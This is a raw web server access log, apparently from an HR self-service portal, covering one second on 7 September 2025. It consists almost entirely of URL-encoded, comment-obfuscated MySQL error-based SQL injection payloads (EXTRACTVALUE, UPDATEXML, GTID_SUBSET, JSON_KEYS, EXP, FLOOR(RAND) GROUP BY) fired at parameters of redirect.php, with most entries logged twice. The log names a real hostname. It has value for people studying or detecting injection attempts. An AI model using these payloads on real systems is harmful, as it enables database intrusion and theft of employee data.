100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x3355427a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7078494b%29%29%2C1%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x3355427a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7078494b%29%29%2C1%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x474d4e41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55593476%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x474d4e41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55593476%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x64354b67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73566c6b%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x64354b67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73566c6b%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4a4f3975%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65314353%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4a4f3975%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65314353%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x72787574%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f71695a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x72787574%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f71695a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x49544639%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79314945%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x49544639%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79314945%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x646b5557%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b455567%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x646b5557%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b455567%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47553352%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x747a4d47%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47553352%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x747a4d47%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6d517049%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5078466a%29%2C6420%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6d517049%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5078466a%29%2C6420%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5a785575%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7038304e%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x73517049%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a425374%29%2C6420%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x73517049%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a425374%29%2C6420%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x72703658%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x364c3633%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x72703658%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x364c3633%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x66356334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55463153%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x66356334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55463153%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x3545534f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65667948%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x3545534f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65667948%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x53447a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70386568%29%2C5431%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x53447a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70386568%29%2C5431%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x57664665%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5969476e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x57664665%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5969476e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x57537570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39563241%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x57537570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39563241%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x35704e33%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63396739%29%2C5431%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x35704e33%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63396739%29%2C5431%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x5832626a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x666a4339%29%29x%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x5832626a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x666a4339%29%29x%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4e53546c%2C%28NULL%29%2C0x6234314a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
